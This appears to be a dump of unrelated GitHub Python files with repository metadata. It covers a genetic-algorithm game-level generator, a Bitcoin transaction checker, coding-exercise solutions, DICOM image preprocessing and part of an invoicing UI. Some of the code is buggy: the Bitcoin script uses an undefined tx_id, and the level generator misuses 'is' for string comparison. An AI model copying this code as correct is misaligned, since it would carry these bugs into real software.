+= 1\n else:\n g[y][x] = \"-\"\n break\n y -= 1\n \n # top all segments or add to them\n if (y - 1) >= 0 and g[y][x] is \"|\":\n \"\"\"cont = ['|','T']\n if (y - 1) is 0:\n cont_probs = [0, 1]\n else:\n cont_probs = [0.2, 0.8]\n pipe = random.choices(cont, weights=cont_probs, k=1)\"\"\"\n pipe = \"T\"\n g[y-1][x] = pipe\n \"\"\"\n # no one-space gaps\n if g[y][x] is not \"-\" or \"o\" or \"E\":\n if (y + 2) < height and g[y+1][x] is \"-\" or \"o\":\n if (y + 2) < height and g[y+2][x] is not \"-\" or \"o\" or \"E\":\n g[y][x] = \"-\"\n # same thing for space above\n if (y - 2) >= 0 and g[y-1][x] is \"-\" or \"o\":\n if (y - 2) >= 0 and g[y-2][x] is not \"-\" or \"o\" or \"E\":\n g[y][x] = \"-\"\n \"\"\"\n \n g[15][0] = \"X\" \n g[14][0] = \"m\"\n g[7][width-1] = \"v\"\n g[7][width-2] = \"-\"\n g[7][width-3] = \"-\"\n a = 8\n while a < 15:\n g[a][width-1] = \"f\"\n g[a][width-2] = \"-\"\n g[a][width-3] = \"-\"\n a += 1\n #g[8:14][width-1] = \"f\"\n g[15][width-1] = \"X\"\n g[14:16][-1] = [\"X\", \"X\"]\n return cls(g)\n\n\ndef offset_by_upto(val, variance, min=None, max=None):\n val += random.normalvariate(0, variance**0.5)\n if min is not None and val < min:\n val = min\n if max is not None and val > max:\n val = max\n return int(val)\n\n\ndef clip(lo, val, hi):\n if val < lo:\n return lo\n if val > hi:\n return hi\n return val\n\n# Inspired by https://www.researchgate.net/profile/Philippe_Pasquier/publication/220867545_Towards_a_Generic_Framework_for_Automated_Video_Game_Level_Creation/links/0912f510ac2bed57d1000000.pdf\n\n\nclass Individual_DE(object):\n # Calculating the level isn't cheap either so we cache it too.\n __slots__ = [\"genome\", \"_fitness\", \"_level\"]\n\n # Genome is a heapq of design elements sorted by X, then type, then other parameters\n def __init__(self, genome):\n self.genome = list(genome)\n heapq.heapify(self.genome)\n self._fitness = None\n self._level = None\n\n # Calculate and cache fitness\n def calculate_fitness(self):\n measurements = metrics.metrics(self.to_level())\n # Default fitness function: Just some arbitrary combination of a few criteria. Is it good? Who knows?\n # STUDENT Add more metrics?\n # STUDENT Improve this with any code you like\n coefficients = dict(\n meaningfulJumpVariance=0.5,\n negativeSpace=0.6,\n pathPercentage=0.5,\n emptyPercentage=0.6,\n linearity=-0.5,\n solvability=2.0\n )\n penalties = 0\n # STUDENT For example, too many stairs are unaesthetic. Let's penalize that\n if len(list(filter(lambda de: de[1] == \"6_stairs\", self.genome))) > 5:\n penalties -= 2\n # STUDENT If you go for the FI-2POP extra credit, you can put constraint calculation in here too and cache it in a new entry in __slots__.\n self._fitness = sum(map(lambda m: coefficients[m] * measurements[m],\n coefficients)) + penalties\n return self\n\n def fitness(self):\n if self._fitness is None:\n self.calculate_fitness()\n return self._fitness\n\n def mutate(self, new_genome):\n # STUDENT How does this work? Explain it in your writeup.\n # STUDENT consider putting more constraints on this, to prevent generating weird things\n if random.random() < 0.1 and len(new_genome) > 0:\n to_change = random.randint(0, len(new_genome) - 1)\n de = new_genome[to_change]\n new_de = de\n x = de[0]\n de_type = de[1]\n choice = random.random()\n if de_type == \"4_block\":\n y = de[2]\n breakable = de[3]\n if choice < 0.33:\n x = offset_by_upto(x, width / 8, min=1, max=width - 2)\n elif choice < 0.66:\n y = offset_by_upto(y, height / 2, min=0, max=height - 1)\n else:\n breakable = not de[3]\n new_de = (x, de_type, y, breakable)\n elif de_type == \"5_qblock\":\n y = de[2]\n has_powerup = de[3] # boolean\n if choice < 0.33:\n x = offset_by_upto(x, width / 8, min=1, max=width - 2)\n elif choice < 0.66:\n y = offset_by_upto(y, height / 2, min=0, max=height - 1)\n else:\n has_powerup = not de[3]\n new_de = (x, de_type, y, has_powerup)\n elif de_type == \"3_coin\":\n y = de[2]\n if choice < 0.5:\n x = offset_by_upto(x, width / 8, min=1, max=width - 2)\n else:\n y = offset_by_upto(y, height / 2, min=0, max=height - 1)\n new_de = (x, de_type, y)\n elif de_type == \"7_pipe\":\n h = de[2]\n if choice < 0.5:\n x = offset_by_upto(x, width / 8, min=1, max=width - 2)\n else:\n h = offset_by_upto(h, 2, min=2, max=height - 4)\n new_de = (x, de_type, h)\n elif de_type == \"0_hole\":\n w = de[2]\n if choice < 0.5:\n x = offset_by_upto(x, width / 8, min=1, max=width - 2)\n else:\n w = offset_by_upto(w, 4, min=1, max=width - 2)\n new_de = (x, de_type, w)\n elif de_type == \"6_stairs\":\n h = de[2]\n dx = de[3] # -1 or 1\n if choice < 0.33:\n x = offset_by_upto(x, width / 8, min=1, max=width - 2)\n elif choice < 0.66:\n h = offset_by_upto(h, 8, min=1, max=height - 4)\n else:\n dx = -dx\n new_de = (x, de_type, h, dx)\n elif de_type == \"1_platform\":\n w = de[2]\n y = de[3]\n madeof = de[4] # from \"?\", \"X\", \"B\"\n if choice < 0.25:\n x = offset_by_upto(x, width / 8, min=1, max=width - 2)\n elif choice < 0.5:\n w = offset_by_upto(w, 8, min=1, max=width - 2)\n elif choice < 0.75:\n y = offset_by_upto(y, height, min=0, max=height - 1)\n else:\n madeof = random.choice([\"?\", \"X\", \"B\"])\n new_de = (x, de_type, w, y, madeof)\n elif de_type == \"2_enemy\":\n pass\n new_genome.pop(to_change)\n heapq.heappush(new_genome, new_de)\n return new_genome\n\n def generate_children(self, other):\n # STUDENT How does this work? Explain it in your writeup.\n pa = random.randint(0, len(self.genome) - 1) if len(self.genome) > 0 else 0\n pb = random.randint(0, len(other.genome) - 1) if len(other.genome) > 0 else 0\n a_part = self.genome[:pa] if len(self.genome) > 0 else []\n b_part = other.genome[pb:] if len(other.genome) > 0 else []\n ga = a_part + b_part\n b_part = other.genome[:pb] if len(other.genome) > 0 else []\n a_part = self.genome[pa:] if len(self.genome) > 0 else []\n gb = b_part + a_part\n # do mutation\n return Individual_DE(self.mutate(ga)), Individual_DE(self.mutate(gb))\n\n # Apply the DEs to a base level.\n def to_level(self):\n if self._level is None:\n base = Individual_Grid.empty_individual().to_level()\n for de in sorted(self.genome, key=lambda de: (de[1], de[0], de)):\n # de: x, type, ...\n x = de[0]\n de_type = de[1]\n if de_type == \"4_block\":\n y = de[2]\n breakable = de[3]\n base[y][x] = \"B\" if breakable else \"X\"\n elif de_type == \"5_qblock\":\n y = de[2]\n has_powerup = de[3] # boolean\n base[y][x] = \"M\" if has_powerup else \"?\"\n elif de_type == \"3_coin\":\n y = de[2]\n base[y][x] = \"o\"\n elif de_type == \"7_pipe\":\n h = de[2]\n base[height - h - 1][x] = \"T\"\n for y in range(height - h, height):\n base[y][x] = \"|\"\n elif de_type == \"0_hole\":\n w = de[2]\n for x2 in range(w):\n base[height - 1][clip(1, x + x2, width - 2)] = \"-\"\n elif de_type == \"6_stairs\":\n h = de[2]\n dx = de[3] # -1 or 1\n for x2 in range(1, h + 1):\n for y in range(x2 if dx == 1 else h - x2):\n base[clip(0, height - y - 1, height - 1)][clip(1, x + x2, width - 2)] = \"X\"\n elif de_type == \"1_platform\":\n w = de[2]\n h = de[3]\n madeof = de[4] # from \"?\", \"X\", \"B\"\n for x2 in range(w):\n base[clip(0, height - h - 1, height - 1)][clip(1, x + x2, width - 2)] = madeof\n elif de_type == \"2_enemy\":\n base[height - 2][x] = \"E\"\n self._level = base\n return self._level\n\n @classmethod\n def empty_individual(_cls):\n # STUDENT Maybe enhance this\n g = []\n return Individual_DE(g)\n\n @classmethod\n def random_individual(_cls):\n # STUDENT Maybe enhance this\n elt_count = random.randint(8, 128)\n g = [random.choice([\n (random.randint(1, width - 2), \"0_hole\", random.randint(1, 8)),\n (random.randint(1, width - 2), \"1_platform\", random.randint(1, 8), random.randint(0, height - 1), random.choice([\"?\", \"X\", \"B\"])),\n (random.randint(1, width - 2), \"2_enemy\"),\n (random.randint(1, width - 2), \"3_coin\", random.randint(0, height - 1)),\n (random.randint(1, width - 2), \"4_block\", random.randint(0, height - 1), random.choice([True, False])),\n (random.randint(1, width - 2), \"5_qblock\", random.randint(0, height - 1), random.choice([True, False])),\n (random.randint(1, width - 2), \"6_stairs\", random.randint(1, height - 4), random.choice([-1, 1])),\n (random.randint(1, width - 2), \"7_pipe\", random.randint(2, height - 4))\n ]) for i in range(elt_count)]\n return Individual_DE(g)\n\n\nIndividual = Individual_DE\n\n# (1) Calculate total_sum of all fitnesses in population.\n# (2) Generate random number rand_num from interval 0 to SUM.\n# (3) Go through population, and select individual when partial_sum is more than or equal to rand_num.\n# (4) Repeat steps 2 and 3 until an individual is selected.\ndef roulette_wheel(population):\n total_sum = 0\n #print(len(population))\n for i in range(0, len(population)):\n total_sum += population[i].fitness()\n #print(population[i].fitness())\n\n rand_num = random.uniform(0, total_sum)\n partial_sum = 0\n for i in range(0,len(population)):\n partial_sum += population[i].fitness()\n print(\"\\n {0} >= {1}\".format(partial_sum, rand_num))\n if partial_sum >= rand_num:\n print(\"We stopped at individual {}. \\n\".format(i))\n return population[i]\n\n return population[0]\n\n\ndef tournament_selection(population):\n #randomly choose k individuals\n smpl = []\n smpl = random.sample(population, k=20)\n \n max_fit = 0\n max_pop = smpl[0]\n for pop in smpl:\n if pop.fitness() >= max_fit:\n max_fit = pop.fitness()\n max_pop = pop\n return max_pop\n\n\ndef generate_successors(population):\n results = []\n # if len(population) > 1:\n # for i in range(0, len(population)):\n # parent1 = roulette_wheel(population)\n # parent2 = tournament_selection(population)\n # child = parent1.generate_children(parent2)\n # results.append(child)\n # STUDENT Design and implement this\n # Hint: Call generate_children() on some individuals and fill up results.\n\n \n x = 0\n # Do a similar thing to tournament selection and just use 10 random parent, shorter loop\n # OR JUST ITERATE YOU DUNCE\n #smpl = []\n #smpl = random.sample(population, k=20)\n while x < len(population):\n #choose between which selection function\n functions = [roulette_wheel, tournament_selection]\n func_weights = [0.5,0.5]\n func = random.choices(functions, weights=func_weights, k=1)\n parent = func[0](population)\n child1, child2 = parent.generate_children(population[x])\n results.append(child1)\n results.append(child2)\n x += 1\n return results\n\n\ndef ga():\n # STUDENT Feel free to play with this parameter\n\n pop_limit = 32\n # Code to parallelize some computations\n batches = os.cpu_count()\n if pop_limit % batches != 0:\n print(\"It's ideal if pop_limit divides evenly into \" + str(batches) + \" batches.\")\n batch_size = int(math.ceil(pop_limit / batches))\n with mpool.Pool(processes=os.cpu_count()) as pool:\n init_time = time.time()\n # STUDENT (Optional) change population initialization\n population = [Individual.random_individual() if random.random() < 0.9\n else Individual.empty_individual()\n for _g in range(pop_limit)]\n # But leave this line alone; we have to reassign to population because we get a new population that has more cached stuff in it.\n population = pool.map(Individual.calculate_fitness,\n population,\n batch_size)\n init_done = time.time()\n print(\"Created and calculated initial population statistics in:\", init_done - init_time, \"seconds\")\n generation = 0\n start = time.time()\n now = start\n print(\"Use ctrl-c to terminate this loop manually.\")\n try:\n while True:\n now = time.time()\n if len(population) <= 25:\n break\n # Print out statistics\n if generation > 0:\n best = max(population, key=Individual.fitness)\n print(\"Generation:\", str(generation))\n print(\"Max fitness:\", str(best.fitness()))\n print(\"Average generation time:\", (now - start) / generation)\n print(\"Net time:\", now - start)\n with open(\"levels/last.txt\", 'w') as f:\n for row in best.to_level():\n f.write(\"\".join(row) + \"\\n\")\n generation += 1\n # STUDENT Determine stopping condition\n stop_condition = generation\n if stop_condition > 1:\n # stop_condition = False\n # if generation is 2:\n # stop_condition = True\n # if stop_condition:\n break\n # STUDENT Also consider using FI-2POP as in the Sorenson & Pasquier paper\n gentime = time.time()\n next_population = generate_successors(population)\n gendone = time.time()\n print(\"Generated successors in:\", gendone - gentime, \"seconds\")\n # Calculate fitness in batches in parallel\n next_population = pool.map(Individual.calculate_fitness,\n next_population,\n batch_size)\n popdone = time.time()\n print(\"Calculated fitnesses in:\", popdone - gendone, \"seconds\")\n population = next_population\n except KeyboardInterrupt:\n pass\n return population\n\n\nif __name__ == \"__main__\":\n final_gen = sorted(ga(), key=Individual.fitness, reverse=True)\n best = final_gen[0]\n print(\"Best fitness: \" + str(best.fitness()))\n now = time.strftime(\"%m_%d_%H_%M_%S\")\n # STUDENT You can change this if you want to blast out the whole generation, or ten random samples, or...\n for k in range(0, 10):\n with open(\"levels/\" + now + \"_\" + str(k) + \".txt\", 'w') as f:\n for row in final_gen[k].to_level():\n f.write(\"\".join(row) + \"\\n\")\n","repo_name":"ZechNeak/P6-EvolvingLevels","sub_path":"ga.py","file_name":"ga.py","file_ext":"py","file_size_in_byte":24415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19010691749","text":"# Import the necessary libraries\nimport sys\nimport time\nimport requests\n\n# Function to check the transaction details on the blockchain\ndef check_transaction(tx_id):\n # Make a request to the blockchain API to get the transaction details\n r = requests.get(\"https://blockchain.info/tx/\" + tx_id)\n data = r.json()\n\n # Check the transaction status\n if data[\"status\"] == \"success\":\n return True\n else:\n return False\n\n# Prompt the user to enter a Bitcoin address and a transaction amount\nbitcoin_address = input(\"Enter the Bitcoin address: \")\namount = input(\"Enter the transaction amount: \")\n\n# Check to see if the user has made the transaction\ntransaction_made = check_transaction(tx_id)\n\n# Print the result\nif transaction_made:\n print(\"Transaction successful!\")\nelse:\n print(\"Transaction failed. Please try again.\")\n","repo_name":"mobstick/blockchain-check","sub_path":"starfallbtc.py","file_name":"starfallbtc.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"20876515961","text":"'''\n2805. 농작물 수확하기 D3\nhttps://swexpertacademy.com/main/code/problem/problemDetail.do\nN X N크기의 농장이 있다.\n이 농장에는 이상한 규칙이 있다.\n규칙은 다음과 같다.\n\n\n ① 농장은 크기는 항상 홀수이다. (1 X 1, 3 X 3 … 49 X 49)\n ② 수확은 항상 농장의 크기에 딱 맞는 정사각형 마름모 형태로만 가능하다.\n\n농장의 크기 N와 농작물의 가치가 주어질 때, 규칙에 따라 얻을 수 있는 수익은 얼마인지 구하여라.\n'''\n\n\nimport sys\nsys.stdin = open('input.txt', 'r')\n\nT = int(input())\nfor tc in range(1, T+1):\n N = int(input())\n arr=[list(map(int, list(input()))) for _ in range(N)]\n ans = 0\n\n for i in range(N//2+1): # 첫열부터 중간열까지\n for j in range(-i, i+1):\n ans += arr[i][N//2+j]\n for i in range(N//2+1, N+1): # 그 이후 열들\n for j in range(-N+i+1, N-i):\n ans += arr[i][N//2+j]\n print(f'#{tc}', ans)","repo_name":"seoda0000/TIL","sub_path":"AlgorithmProblemSolving/03_SWEA/D3/2805_농작물_수확하기.py","file_name":"2805_농작물_수확하기.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"38340302621","text":"import socket\nimport threading\n\n\nclass client:\n serverName = '127.0.0.1'\n serverPort = 5555\n server = None\n\n def open(self):\n clientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n clientsock.connect((self.serverName, self.serverPort))\n self.server = clientsock\n print(\"connect server successfully\")\n new_thread = threading.Thread(target=self.receive, args=())\n new_thread.start() # 开启线程\n\n\n def receive(self):\n while True:\n data = self.server.recv(2048)\n if data and data != b'quit':\n print(data.decode())\n else:\n self.server.close()\n print('connection closed')\n\n\nif __name__ == '__main__':\n c = client()\n c.open()\n","repo_name":"xiniuniu/OOAD_Project","sub_path":"Server/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74701456853","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 14 00:07:46 2020\n\n@author: johna\n\"\"\"\nimport os\nimport pydicom\nimport numpy as np\nimport cv2\n\ndef get_list_of_datasets(folderpath, modality=\"CT\"):\n filelist = []\n for root, dirs, files in os.walk(folderpath): #we want to extract every dicom file in directory\n for name in files:\n if name.endswith(\".dcm\"):\n filepath = os.path.join(root,name)\n dicomfile = pydicom.read_file(filepath) #will load each DICOM file in turn\n if dicomfile.Modality == modality:\n filelist.append(dicomfile)\n return filelist\n\ndef process_image(file, image_size=512, pixel_size = 0.5):\n \n image = file.pixel_array.astype(np.int16)\n slope = file.RescaleSlope\n intercept = file.RescaleIntercept\n \n if slope != 1:\n image = slope * image.astype(np.float64)\n image = image.astype(np.int16)\n \n image += np.int16(intercept) \n \n num_rows = file.Rows\n num_cols = file.Columns\n if num_rows != num_cols:\n raise ValueError(\"Image is not square!\")\n scalefactor = file.PixelSpacing[0] / pixel_size\n #PixelSpacing value is the real-space width of pixels in mm\n #dividing this value by the desired pixel size gives an array scale factor for resizing\n image = cv2.resize(image,dsize=(round(num_rows*scalefactor),round(num_cols*scalefactor)))\n if image.shape[0] > image_size:\n image = crop_center(image,image_size) #if it's larger than we want, crop it to center\n elif image.shape[0] < image_size:\n image = pad_image(image,image_size) #if it's too small, pad it with -1000\n image = np.expand_dims(image,axis=2)\n return image\n\ndef apply_window_level(image, windowwidth, windowlevel, normalize = False):\n\n upperlimit = windowlevel + (windowwidth / 2)\n lowerlimit = windowlevel - (windowwidth / 2)\n image[image > upperlimit] = upperlimit\n image[image < lowerlimit] = lowerlimit\n\n if normalize == True:\n image = image.astype(np.float32)\n image = (image-lowerlimit) / (upperlimit - lowerlimit)\n\n return image\n \ndef crop_center(img,cropto): #function used later to trim images to standardized size if too big - trims to center\n y,x = img.shape\n startx = x//2-(cropto//2)\n starty = y//2-(cropto//2) \n return img[starty:starty+cropto,startx:startx+cropto]\n\ndef pad_image(img,image_size): #function used to expand image to standardized size if too small - pads with -1000, HU value of air\n newimage = np.full((image_size,image_size),-1000)\n oldsize = img.shape[0]\n padsize = round((image_size - oldsize) / 2)\n newimage[padsize:padsize+oldsize,padsize:padsize+oldsize] = img\n return newimage\n\ndef vertical_pad(array,cube_size):\n pad = int((cube_size - len(array)) / 2)\n result = np.zeros([cube_size,cube_size,cube_size, 1])\n insertHere = slice(pad,pad + len(array))\n result[insertHere] = array\n return result\n\ndef unpad(array,original_size):\n pad = int((len(array) - original_size) / 2)\n sliceHere = slice(pad, pad + original_size)\n return array[sliceHere]\n\ndef build_array(filelist,image_size=512,pixel_size=0.5):\n holding_dict = {}\n heightlist = []\n array = []\n for ds in filelist:\n image = process_image(ds,image_size,pixel_size)\n sliceheight = round(ds.SliceLocation * 2) / 2\n holding_dict[sliceheight] = image\n for height in sorted(holding_dict.keys()):\n heightlist.append(height)\n array.append(holding_dict[height])\n final_array = np.asarray(array)\n return final_array, heightlist\n\n","repo_name":"jasbach/Autocontour-App-Example","sub_path":"image_prep.py","file_name":"image_prep.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36974043618","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\n# 输入一颗二叉树和一个整数,打印出二叉树中结点值的和为输入整数的所有路径。\n# 路径定义为从树的根结点开始往下一直到叶结点所经过的结点形成一条路径。\n\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\nclass Solution:\n # 返回二维列表,内部每个列表表示找到的路径\n def FindPath(self, root, expectNumber):\n # write code here\n if root is None:\n return []\n if not root.left and not root.right and root.val == expectNumber:\n return [[root.val]]\n result = []\n rest_val = expectNumber - root.val\n left_path = self.FindPath(root.left, rest_val)\n right_path = self.FindPath(root.right, rest_val)\n for path in left_path+right_path:\n result.append([root.val]+path)\n return result\n","repo_name":"guanfuchen/CodeTrain","sub_path":"SwordOffer/Algorithm/Python/tree_sum_path.py","file_name":"tree_sum_path.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"41957569899","text":"\"\"\"\nYou are given a string and your task is to swap cases. In other\nwords, convert all lowercase letters to uppercase letters and vice versa.\n\nFor Example:\n\nWww.HackerRank.com → wWW.hACKERrANK.COM\nPythonist 2 → pYTHONIST 2\n\"\"\"\ndef swap_case(s):\n new_str = ''\n for i in s:\n if i.islower():\n new_str = new_str + i.upper()\n else:\n new_str = new_str + i.lower()\n\n return new_str\ns = input('Enter a string to swap: ')\nprint(swap_case(s))","repo_name":"therealyash/Coding-Practice","sub_path":"Python Programs/HackerRank/SwapCase.py","file_name":"SwapCase.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"70730979093","text":"# print ('hello world')\r\nimport scipy, numpy #import math library (numpy), and the toolkit scipy\r\nimport matplotlib \r\nfrom matplotlib import pyplot as plt # plotting library that can be used to plot graphs\r\n\r\n#Displaying the image to screen code, this allows us to display an aerial image from the same folder as \r\n#the code\r\nimagePath = 'tutorial1Image.png'\r\nim = plt.imread(imagePath,format= None) #open the tutorial image, using the imread function to view image\r\nimarray = numpy.array(im) #convert the image to a numpy array\r\nprint (imarray) # display to confirm that the image is loaded into the computer\r\nplt.imshow(imarray) #display/plot the image from the array\r\nplt.show() #display the image in a seperate screen\r\n\r\n#In class work\r\n\r\n# print (imarray[12, 43, 0]) # indexing which allows you to print just the first band of the array. \r\nr = imarray[:,0,0] #set each band as a specific variable\r\ng = imarray[:,0,1]\r\nb = imarray[:,0,2]\r\nalpha = imarray[:,:,-1] #-1 is the last row and so this can get you the last rows\r\n\r\nimarray_new = (r - b) / (b + r) #plot the bands and then show them\r\nplt.plot(r, c= \"red\")\r\nplt.plot(g, c= \"green\")\r\nplt.plot(b, c = \"blue\")\r\nplt.plot(imarray_new, c= \"pink\")\r\nplt.show()\r\n\r\nplt.scatter(b,r, c= \"red\", linewidth = 0, alpha = .2) #make a scatter plot to see the data, alpha and line width make it coloured to see clusters\r\nplt.show()\r\n# for i in range (0, imarray.shape[2]):\r\n# for j in range (i,imarray.shape[1]-1):\r\n# for k in (0,imarray.shape[2]-1):\r\n# print (k,j,i)\r\n# print (imarray[i,j,k])\r\n# input()\r\n\r\n# for x in numpy.nditer(imarray): #this is a generator for each array information\r\n# print(x)\r\n\r\n\r\n#Tutorial 1 continued from the PDF\r\n#Create and display a histogram\r\n\r\nImarrayRED = imarray[:,:,0] #turn the image into one image band (only red)\r\nImarrayRED_1D = ImarrayRED.flatten() #create one dimensional array\r\nplt.hist (ImarrayRED_1D, bins=20) #This creates a histogram of the red band which is then displayed\r\nplt.show()\r\n\r\n#Display the histogram and image band in the same window\r\nplt.subplot(2,1,1) \r\nplt.imshow(ImarrayRED, cmap=\"gray\") #turn the image into a grayscale image\r\nplt.subplot(2,1,2) #this helps to graph the images so that the histogram is below the image\r\nplt.hist(ImarrayRED_1D,bins=20)\r\nplt.show()\r\n\r\n#Multiple Data in a Loop\r\n\r\nbands = [0,1,2] #creates a list for each of the bands\r\n\r\nplt.figure(num='kmaynard') #name the figure\r\n\r\nfor index in bands: #create a grayscale image and histogram for each band for the image \r\n plt.subplot(2,3, index +1)\r\n plt.imshow(imarray[:,:,index], cmap=\"gray\")\r\n plt.subplot(2,3,index+1+3)\r\n plt.hist(imarray[:,:,index].flatten(),bins=20)\r\nplt.show() #display all looped bands into one image","repo_name":"NSCC-COGS/GDAA2030","sub_path":"tutorial1/kqmaynard/GDAA2030_T1_Maynard.py","file_name":"GDAA2030_T1_Maynard.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"22056562545","text":"# -*- coding: utf-8 -*-\n\n# (цикл for)\nimport simple_draw as sd\n\n# Нарисовать стену из кирпичей. Размер кирпича - 100х50\n# Использовать вложенные циклы for\n\nsd.resolution = (800, 800)\nsd.background_color = sd.COLOR_DARK_ORANGE\n\n# размер кирпича\nx = 100\ny = 50\n\nhalf_brick = x // 2\n\nbrick_x_count = sd.resolution[0] // x\nbrick_y_count = sd.resolution[1] // y\n\nstart_x = 0\nstart_y = 0\nend_x = start_x + x\nend_y = start_y + y\n\nfor brick_y in range(brick_y_count):\n\n # определяем кол-во кирпичей в ряду\n if brick_y % 2 == 1:\n x_count += 1\n else:\n x_count = brick_x_count\n\n for brick_x in range(x_count):\n\n if brick_y % 2 == 1:\n if brick_x == 0:\n start_position = sd.get_point(start_x, start_y)\n end_position = sd.get_point(end_x-half_brick, end_y)\n elif brick_x == x_count-1:\n start_position = sd.get_point(start_x-half_brick, start_y)\n end_position = sd.get_point(end_x-x, end_y)\n else:\n start_position = sd.get_point(start_x-half_brick, start_y)\n end_position = sd.get_point(end_x-half_brick, end_y)\n else:\n start_position = sd.get_point(start_x, start_y)\n end_position = sd.get_point(end_x, end_y)\n\n sd.rectangle(left_bottom=start_position, right_top=end_position, color=sd.COLOR_BLACK, width=1)\n\n # двигаем кирпич по x\n start_x += x\n end_x += x\n\n sd.sleep(0.03)\n\n # возвращаем по х в исходное положение\n start_x = 0\n end_x = x\n\n # двигаем кирпич по y\n start_y = end_y\n end_y += y\n\nsd.pause()\n\n# Зачет!","repo_name":"zaboevai/python_base","sub_path":"lesson_003/07_wall.py","file_name":"07_wall.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"ru","doc_type":"code","stars":16,"dataset":"github-code","pt":"67"} +{"seq_id":"30939117463","text":"from typing import Callable, Optional\n\nfrom datetime import datetime, timedelta\n\nfrom flet import (\n AlertDialog,\n Column,\n Container,\n ListTile,\n ListView,\n ResponsiveRow,\n Row,\n UserControl,\n icons,\n)\n\nfrom ..core import utils, views\nfrom ..core.abstractions import DialogHandler, TView, TViewParams\nfrom ..core.intent_result import IntentResult\nfrom loguru import logger\nfrom pandas import DataFrame\nfrom ..res import colors, dimens, fonts, res_utils\n\nfrom ...model import Invoice, Project, User\n\nfrom .intent import InvoicingIntent\n\n\nclass InvoicingEditorPopUp(DialogHandler, UserControl):\n \"\"\"Pop up used for editing or creating an invoice\n\n Parameters:\n dialog_controller (Callable[[any, utils.AlertDialogControls], None]):\n The dialog controller\n on_submit (Callable):\n function that is called when the \"Done\" button is clicked\n projects_map (dict):\n a dictionary of projects mapped by their id\n invoice (Invoice, optional):\n an invoice object to edit, defaults to None if a new one is to be created\n \"\"\"\n\n def __init__(\n self,\n dialog_controller: Callable[[any, utils.AlertDialogControls], None],\n on_submit: Callable,\n projects_map,\n invoice: Optional[Invoice] = None,\n ):\n # set the dimensions of the pop up\n pop_up_height = dimens.MIN_WINDOW_HEIGHT * 0.9\n pop_up_width = int(dimens.MIN_WINDOW_WIDTH * 0.8)\n\n # initialize the data\n today = datetime.today()\n yesterday = datetime.now() - timedelta(1)\n is_editing = invoice is not None\n self.invoice = invoice if is_editing else Invoice(number=\"\", date=today)\n self.projects_as_map = projects_map\n project_options = [\n f\"{id} {project.title}\".strip()\n for id, project in self.projects_as_map.items()\n ]\n title = \"Edit Invoice\" if is_editing else \"New Invoice\"\n self.date_field = views.DateSelector(\n label=\"Invoice Date\",\n initial_date=self.invoice.date,\n )\n self.from_date_field = views.DateSelector(\n label=\"From\", initial_date=yesterday, label_color=colors.GRAY_COLOR\n )\n self.to_date_field = views.DateSelector(\n label=\"To\", initial_date=today, label_color=colors.GRAY_COLOR\n )\n self.projects_dropdown = views.TDropDown(\n on_change=self.on_project_selected,\n label=\"Select project\",\n items=project_options,\n show=not is_editing,\n )\n dialog = AlertDialog(\n content=Container(\n height=pop_up_height,\n width=pop_up_width,\n content=Column(\n scroll=utils.AUTO_SCROLL,\n controls=[\n views.THeading(title=title, size=fonts.HEADLINE_4_SIZE),\n views.Spacer(xs_space=True),\n views.TTextField(\n label=\"Invoice Number\",\n hint=self.invoice.number,\n initial_value=self.invoice.number,\n keyboard_type=utils.KEYBOARD_NONE,\n show=is_editing,\n ),\n views.Spacer(xs_space=True),\n self.date_field,\n views.Spacer(xs_space=True),\n self.projects_dropdown,\n views.Spacer(),\n views.TBodyText(txt=\"Date range\"),\n self.from_date_field,\n self.to_date_field,\n views.Spacer(xs_space=True),\n ],\n ),\n ),\n actions=[\n views.TPrimaryButton(label=\"Done\", on_click=self.on_submit_btn_clicked),\n ],\n )\n super().__init__(dialog=dialog, dialog_controller=dialog_controller)\n self.project = self.invoice.project if is_editing else None\n self.on_submit = on_submit\n\n def on_project_selected(self, e):\n selected_project = e.control.value\n # extract id from selected text\n id_ = int(selected_project.split(\" \")[0])\n if id_ in self.projects_as_map:\n self.project = self.projects_as_map[id_]\n\n def on_submit_btn_clicked(self, e):\n \"\"\"Called when the \"Done\" button is clicked\"\"\"\n date = self.date_field.get_date()\n if date:\n self.invoice.date = date\n from_date: Optional[datetime.date] = self.from_date_field.get_date()\n to_date: Optional[datetime.date] = self.to_date_field.get_date()\n self.close_dialog()\n self.on_submit(self.invoice, self.project, from_date, to_date)\n\n\nclass InvoicingListView(TView, UserControl):\n \"\"\"The view for displaying the list of invoices\"\"\"\n\n def __init__(self, params: TViewParams):\n super().__init__(params=params)\n self.intent = InvoicingIntent(client_storage=params.client_storage)\n self.invoices_to_display = {}\n self.contacts = {}\n self.active_projects = {}\n self.editor = None\n self.time_tracking_data: DataFrame = None\n self.user: User = None\n\n def load_user_data(\n self,\n ):\n \"\"\"Loads the user for payment info\"\"\"\n user_result: IntentResult = self.intent.get_user()\n if user_result.was_intent_successful:\n self.user: User = user_result.data\n self.is_user_missing_payment_info()\n else:\n self.show_snack(\n \"Something went wrong! Failed to load your info.\",\n is_error=True,\n )\n\n def is_user_missing_payment_info(\n self,\n ):\n \"\"\"Checks if the user has set up their payment info.\n Displays a snack if they haven't.\"\"\"\n if not self.user.VAT_number:\n self.show_snack(\n \"You have not set up your VAT number yet. 